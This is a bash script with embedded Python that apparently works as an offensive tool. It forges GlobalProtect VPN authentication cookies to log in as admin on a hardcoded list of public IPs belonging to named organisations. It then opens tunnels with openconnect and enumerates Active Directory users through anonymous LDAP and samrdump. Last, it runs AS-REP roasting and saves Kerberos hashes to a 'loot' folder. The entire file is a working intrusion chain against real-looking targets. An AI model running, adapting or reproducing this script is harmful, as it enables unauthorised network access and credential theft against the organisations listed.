#!/bin/bash
cd /root/recon
OUT=loot/ad
mkdir -p $OUT
LOG=loot/ad_summary.tsv
[ -f $LOG ] || printf 'ip\tdomain\thost\tbase_dn\tldap_users\tsamr_users\tkrb_oracle\tasrep\n' > $LOG
cat > /tmp/ad_pairs.txt <<'EOF'
165.166.57.74|acsdsc.org|10.100.0.3|
38.99.5.129|corporatediligence.com|192.168.16.10|
47.49.74.195|MARTECH|192.168.168.11|
52.184.146.111|corp.darkforesttech.com|10.120.118.1|
66.196.209.122|ssm.local|10.0.0.97|
98.247.234.122|exonet.prod.projectaries.net|10.1.0.5|
108.70.105.167|vpn.homecloudnet.com|192.168.110.4|
38.10.68.178|usakeah.local|10.64.56.11|
EOF
printf 'administrator\nadmin\nguest\nkrbtgt\nsvc\nbackup\ntest\nsql\n' > /tmp/ad_probe_users.txt
awk -F'\t' 'NR>1{print $1}' $LOG > /tmp/ad_done.txt

while IFS='|' read -r IP DOM H BASE; do
  [ -z "$IP" ] && continue
  grep -qx "$IP" /tmp/ad_done.txt && continue
  F=$OUT/$IP.txt; : > $F
  echo "=== $IP $DOM host=$H" | tee -a $F
  OUT2=$(/root/pt/bin/python3 - "$IP" <<'PY'
import re,sys
sys.path.insert(0,'/root/recon')
import forge_cookie as fc, urllib.parse, urllib.request, ssl
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ip=sys.argv[1].strip()
try: certs=fc.get_all_public_keys(ip,443)
except Exception: sys.exit(0)
for c in certs[:3]:
    cand=fc.forge_cookie(c.public_key(),'admin',host_id='PC')
    b=urllib.parse.urlencode({'prot':'https','server':ip,'inputStr':'','jnlpReady':'jnlpReady','ok':'Login','direct':'yes','clientVer':'4100','user':'admin','passwd':'','context':'gateway','clientos':'Windows','clientgpversion':'6.0.0','host-id':'PC','computer':'PC','os-version':'Windows 10','portal-userauthcookie':cand,'portal-prelogonuserauthcookie':''}).encode()
    r=urllib.request.Request('https://%s/ssl-vpn/login.esp'%ip,data=b,method='POST')
    r.add_header('Content-Type','application/x-www-form-urlencoded')
    try: t=urllib.request.urlopen(r,context=ctx,timeout=20).read().decode()
    except Exception: continue
    a=re.findall(r'<argument>(.*?)</argument>',t,re.S)
    if len(a)>5: print('%s|%s'%(a[1],a[3])); break
PY
)
  AC=${OUT2%%|*}; GW=${OUT2##*|}
  if [ -z "$AC" ]; then echo LOGINFAIL | tee -a $F; printf '%s\t%s\t%s\t\t\t\t\t\n' "$IP" "$DOM" "$H" >> $LOG; continue; fi
  PIN=$(timeout 8 openconnect --protocol=gp --user=admin --servercert=pin-sha256:AAAA --non-inter "$IP" </dev/null 2>&1 | grep -oE 'pin-sha256:[^ ]+' | head -1 | sed 's/.*pin-sha256://')
  timeout 300 openconnect --protocol=gp --user=admin --cookie="user=admin&authcookie=$AC&portal=$GW&domain=&computer=PC" --servercert=pin-sha256:$PIN --non-inter --script=/usr/share/vpnc-scripts/vpnc-script "$IP" > /tmp/oc6_$IP.log 2>&1 &
  P=$!
  for i in $(seq 1 10); do sleep 2; grep -q 'Configured as' /tmp/oc6_$IP.log && break; done
  if ! grep -q 'Configured as' /tmp/oc6_$IP.log; then echo TUNNEL_FAIL | tee -a $F; printf '%s\t%s\t%s\t\t\t\t\t\n' "$IP" "$DOM" "$H" >> $LOG; kill $P 2>/dev/null; sleep 1; continue; fi

  if [ -z "$BASE" ]; then
    BASE=$(timeout 20 ldapsearch -x -H ldap://$H -s base namingContexts 2>/dev/null | grep -m1 '^namingContexts:' | sed 's/^namingContexts: //')
  fi
  echo "  base: $BASE" | tee -a $F
  LU=0
  if [ -n "$BASE" ]; then
    N=$(timeout 40 ldapsearch -x -LLL -H ldap://$H -b "$BASE" -s sub "(objectClass=user)" sAMAccountName 2>/dev/null | grep -c '^sAMAccountName:')
    LU=${N:-0}
    echo "  ldap anonymous users: $LU" | tee -a $F
    if [ "$LU" -gt 0 ] 2>/dev/null; then
      timeout 60 ldapsearch -x -LLL -H ldap://$H -b "$BASE" -s sub "(objectClass=user)" sAMAccountName mail displayName 2>/dev/null | grep -E '^(sAMAccountName|mail|displayName):' > $OUT/$IP-users.txt
    fi
  fi

  SD=$(timeout 60 /root/pt/bin/python3 /root/pt/bin/samrdump.py "$DOM/"@"$H" 2>&1 | grep -c '^[0-9]\+:')
  echo "  samr users: $SD" | tee -a $F
  [ "${SD:-0}" -gt 0 ] 2>/dev/null && timeout 60 /root/pt/bin/python3 /root/pt/bin/samrdump.py "$DOM/"@"$H" 2>&1 | grep '^[0-9]\+:' > $OUT/$IP-samr.txt

  KR="-"
  if [ "$LU" -gt 0 ] 2>/dev/null; then
    grep '^sAMAccountName:' $OUT/$IP-users.txt | sed 's/^sAMAccountName: //' > /tmp/users_$IP.txt
  else
    cp /tmp/ad_probe_users.txt /tmp/users_$IP.txt
  fi
  timeout 120 /root/pt/bin/python3 /root/pt/bin/GetNPUsers.py "$DOM/" -no-pass -dc-ip "$H" -usersfile /tmp/users_$IP.txt 2>&1 > $OUT/$IP-asrep.txt
  HASHES=$(grep -c '^\$krb5asrep' $OUT/$IP-asrep.txt)
  VALID=$(grep -cE 'KDC_ERR_PREAUTH_REQUIRED|KDC_ERR_CLIENT_REVOKED' $OUT/$IP-asrep.txt)
  echo "  krb: valid=$VALID asrep=$HASHES (list $(wc -l < /tmp/users_$IP.txt))" | tee -a $F
  grep '^\$krb5asrep' $OUT/$IP-asrep.txt | head -3 | tee -a $F
  printf '%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n' "$IP" "$DOM" "$H" "$BASE" "$LU" "$SD" "$VALID" "$HASHES" >> $LOG
  kill $P 2>/dev/null
  sleep 2
done < /tmp/ad_pairs.txt
echo "AD PASS DONE"
